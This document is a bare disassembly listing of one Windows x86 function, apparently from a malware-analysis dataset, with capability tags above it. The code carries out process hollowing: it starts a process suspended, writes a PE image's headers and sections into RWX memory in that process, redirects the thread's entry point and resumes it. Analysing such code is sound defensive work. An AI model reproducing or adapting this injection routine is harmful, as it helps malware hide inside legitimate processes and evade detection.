Function at 0x1810cb88
Capabilities:
Create process on windows
Create process suspended
Enumerate pe sections
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x148], ecx
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x150], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x1810ce6c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
call fcn.1810c850
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call fcn.18102868
mov dword [ebp - 0x20], eax
xor ecx, ecx
push ebp
push 0x1810ce47
push dword fs:[ecx]
mov dword fs:[ecx], esp
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x54]
mov edx, dword [ebp - 0x1c]
add edx, 0x18
mov ecx, dword [ebp - 0x1c]
movzx ecx, word [ecx + 0x14]
add edx, ecx
mov dword [ebp - 0x24], edx
mov edx, dword [ebp - 0x1c]
movzx esi, word [edx + 6]
dec esi
test esi, esi
jb 0x1810cc2d
inc esi
xor ebx, ebx
lea edx, [ebx + ebx*4]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + edx*8 + 0x14]
cmp eax, edx
jbe 0x1810cc29
mov eax, edx
inc ebx
dec esi
jne 0x1810cc19
mov ecx, eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
call fcn.18104f88
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax + 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x54]
call fcn.1810c830
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
movzx esi, word [eax + 6]
dec esi
test esi, esi
jb 0x1810ccd8
inc esi
xor ebx, ebx
lea edi, [ebx + ebx*4]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + edi*8 + 0x10]
test eax, eax
jbe 0x1810ccaf
mov edx, dword [ebp - 0x24]
cmp eax, dword [edx + edi*8 + 8]
jbe 0x1810cc81
lea eax, [ebx + ebx*4]
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + eax*8 + 8]
mov edx, dword [ebp - 0x24]
mov edx, dword [edx + edi*8 + 0x14]
add edx, dword [ebp - 4]
mov ecx, eax
mov eax, dword [ebp - 0x18]
call fcn.18104f88
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + edi*8 + 8]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx + 0x38]
call fcn.1810c830
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
jmp 0x1810ccd4
mov eax, dword [ebp - 0x24]
cmp dword [eax + edi*8 + 8], 0
je 0x1810ccd4
lea eax, [ebx + ebx*4]
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + eax*8 + 8]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx + 0x38]
call fcn.1810c830
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
inc ebx
dec esi
jne 0x1810cc60
lea eax, [ebp - 0x144]
mov edx, 0x44
call fcn.18104f90
lea eax, [ebp - 0xf0]
mov edx, 0xcc
call fcn.18104f90
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x144]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea edx, [ebp - 0x14c]
xor eax, eax
call fcn.18102b88
push dword [ebp - 0x14c]
push 0x1810ce84
lea eax, [ebp - 0x150]
mov edx, dword [ebp - 8]
call fcn.18103bc8
push dword [ebp - 0x150]
push 0x1810ce90
lea eax, [ebp - 0x148]
mov edx, 4
call fcn.18103d50
mov eax, dword [ebp - 0x148]
call fcn.18103e90
push eax
push 0
call sub.kernel32.dll_CreateProcessA
mov dword [ebp - 0xf0], 0x10007
lea eax, [ebp - 0xf0]
push eax
mov eax, dword [ebp - 0xfc]
push eax
call sub.kernel32.dll_GetThreadContext
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x4c]
add eax, 8
push eax
mov eax, dword [ebp - 0x100]
push eax
call dword [0x18118708]
push 0x40
push 0x3000
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0x100]
push eax
call dword [0x1811870c]
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0x100]
push eax
call dword [0x18118704]
lea eax, [ebp - 0x10]
push eax
push 4
mov eax, dword [ebp - 0x1c]
add eax, 0x34
push eax
mov eax, dword [ebp - 0x4c]
add eax, 8
push eax
mov eax, dword [ebp - 0x100]
push eax
call dword [0x18118704]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 0x1c]
add eax, dword [edx + 0x28]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0xf0]
push eax
mov eax, dword [ebp - 0xfc]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0xfc]
push eax
call sub.kernel32.dll_ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1810ce4e
mov eax, dword [ebp - 0x20]
push eax
call fcn.18104838
pop ecx
ret